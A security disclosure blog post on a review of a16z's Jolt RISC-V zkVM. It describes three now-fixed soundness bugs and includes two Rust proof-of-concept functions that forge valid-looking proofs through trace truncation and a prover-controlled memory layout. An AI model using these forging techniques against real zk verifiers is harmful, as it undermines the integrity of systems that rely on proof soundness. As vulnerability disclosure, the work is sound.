Over the past few weeks, zkSecurity took a deep dive into a16z’s Jolt zkVM. This joint effort with a16z aimed to help strengthen the security of their zero-knowledge (ZK) stack. Jolt’s zkVM is positioned to become a key player in the zk space, and security work like this is essential to ensuring it can deliver on its promises.
Through this review, we uncovered several significant bugs. These issues could allow a malicious prover to forge proofs with ease, posing serious risks. While this was not a formal audit, it demonstrates the value of manual inspection in catching critical vulnerabilities.
What's Jolt zkVM?
A zkVM (Zero-Knowledge Virtual Machine) uses zero-knowledge proofs to prove and verify computations in specific ISA (Instruction Set Architecture). Jolt, developed by a16z, is a zkVM designed for the RISC-V architecture. It enables programs written in high-level languages like Rust, C, and C++ (compiled to RISC-V assembly) to be efficiently proven by an untrusted prover and succinctly verified by anyone.
To prove a program, Jolt first compiles the program into RISC-V assembly binary and executes the binary to get an execution trace. Then the main work is to prove that the execution trace is valid. At a high level, the proof involves with three parts:
-
Instruction lookup to prove the execution of each instruction
-
Offline memory checking to ensure the read/write of memory are consistent.
-
R1CS constraints to "glue" each part of the execution like the program counter (PC) update.
The instruction lookup is what makes Jolt unique (Jolt stands for "just one single lookup"). Unlike other zkVMs that rely on custom constraints for each instruction, Jolt uses Lasso lookup technique for all instruction execution. This approach not only improves prover efficiency but also significantly reduces the system's complexity. As a result, Jolt offers better auditability and extensibility, making it easier to maintain and scale. For more details, we will have a blog post about how Jolt works. Stay tuned for updates!
Our Findings
Our review uncovered several key security flaws in the implementation of Jolt zkVM.
Truncated execution trace can still be valid
The Jolt verifier is basically checking the correctness of each step in the fetch-decode-execute cycle. If every step in the execution trace is correct, the entire computation is considered valid. However, the verifier does not check whether the execution eventually terminates. As a result, if a valid execution trace is truncated before completion, the verifier will validate the individual steps and still consider the trace to be valid, even though the computation is incomplete. In such cases, the output will be incorrect, as the memory containing the final output might not have been written. This vulnerability allows a prover to forge a proof using a truncated trace and incorrect outputs.
To exploit this bug, we can truncate a valid trace and set the output to 0, and the proof will still be considered valid. The example below creates a fake proof for fib(9) = 0:
fn fib_e2e<F: JoltField, PCS: CommitmentScheme<Field = F>>() {
let artifact_guard = FIB_FILE_LOCK.lock().unwrap();
let mut program = host::Program::new("fibonacci-guest");
program.set_input(&9u32);
let (bytecode, memory_init) = program.decode();
let (mut io_device, mut trace) = program.trace();
println!("origin trace length {}", trace.len());
trace.truncate(100); // truncate the trace
println!("truncated trace length {}", trace.len());
io_device.outputs[0] = 0; // change the output to 0
drop(artifact_guard);
let preprocessing =
RV32IJoltVM::preprocess(bytecode.clone(), memory_init, 1 << 20, 1 << 20, 1 << 20);
let (proof, commitments, debug_info) =
<RV32IJoltVM as Jolt<F, PCS, C, M>>::prove(io_device, trace, preprocessing.clone());
let verification_result =
RV32IJoltVM::verify(preprocessing, proof, commitments, debug_info);
assert!(
verification_result.is_ok(),
"Verification failed with error: {:?}",
verification_result.err()
);
}
The jolt team has fixed this issue by providing the termination bit. A successfully terminated program will set the termination bit to 1. The verifier now will always check if the program terminated or panicked.
Output check is not constrained as expected
A key part of the Jolt verifier is to check if the purported program output is consistent with the execution output. Jolt uses the OutputSumcheckProof component for that. It checks if the output data is equal to the final memory value at specific addresses.
To do that, Jolt introduces a 'mask' polynomial mask_poly which evaluates to 1 at the address of input/output and to 0 at other places. Then, it checks mask_poly * (final_memory_value_poly - input_output_value_poly) = 0. However, due to oversight, the mask_poly is incorrectly constructed to a zero polynomial. This makes that arbitrary input_output_value_poly will pass the check. This means the output check is not working and arbitrary output will pass the check.
Besides, we identified in the verifier, the mask_poly and input_output_value_poly are evaluated to incorrect values. It's due to the first bug that this bug is not caught in the test.
Our pull request has been merged to fix this issue.
Prover can use arbitrary memory layout
To perform offline memory checking, Jolt treats registers, program I/O, and RAM as a single address space mapped within the memory_layout. The structure of this memory layout is fixed, although the sizes of the program I/O and RAM may vary depending on the program.
Since the memory layout only needs to be constructed once, the verifier can treat it as preprocessing material. However, the previous implementation includes the memory layout as part of the proof. This way, it allows malicious prover to be able to set the memory address at will.
To exploit this bug, prover can to set the memory address of the termination bit and output to match the input's address. This ensures those values will always mirror the input, which is in prover's control, while still maintaining a valid proof:
fn forge_memory_layout() {
let artifact_guard = FIB_FILE_LOCK.lock().unwrap();
let mut program = host::Program::new("fibonacci-guest");
program.set_input(&[1u8]);
let (bytecode, memory_init) = program.decode();
let (mut io_device, mut trace) = program.trace();
// trace needs to be truncated
// to ensure our output is not overwritten by the program
trace.truncate(100);
// first index of the input needs to be 1
// to make termination bit equal true
// due to the fix of the first bug
io_device.inputs = (&[1, 3, 3, 7]).to_vec();
// change the output to the same as input
io_device.outputs = (&[1, 3, 3, 7]).to_vec();
drop(artifact_guard);
// change memory address of output & termination bit to the same address as input
io_device.memory_layout.output_start = io_device.memory_layout.input_start;
io_device.memory_layout.output_end = io_device.memory_layout.input_end;
io_device.memory_layout.termination = io_device.memory_layout.input_start;
let preprocessing =
RV32IJoltVM::preprocess(bytecode.clone(), memory_init, 1 << 20, 1 << 20, 1 << 20);
let (proof, commitments, debug_info) = <RV32IJoltVM as Jolt<
Fr,
HyperKZG<Bn254, KeccakTranscript>,
C,
M,
KeccakTranscript,
>>::prove(
io_device, trace, preprocessing.clone()
);
let verification_result =
RV32IJoltVM::verify(preprocessing, proof, commitments, debug_info);
assert!(
verification_result.is_ok(),
"Verification failed with error: {:?}",
verification_result.err()
);
}
Additionally, the prover can also modify the panic bit to forge panicked program to unpanicked one.
The jolt team fixed this issue by moving memory_layout to the preprocessing material, ensuring it is independent of the prover's input.
Summary
This joint effort with the Jolt team uncovered several critical vulnerabilities in Jolt zkVM, such as issues with execution trace validation, output checking, and memory layout constraints. These bugs, now fixed, could have allowed malicious provers to bypass verification.
This work highlights the importance of audits in zkVMs, where deep tech stacks can mask critical issues. As zkVM technology evolves, we'll continue examining Jolt and zkVM security, sharing insights to help strengthen these innovative systems.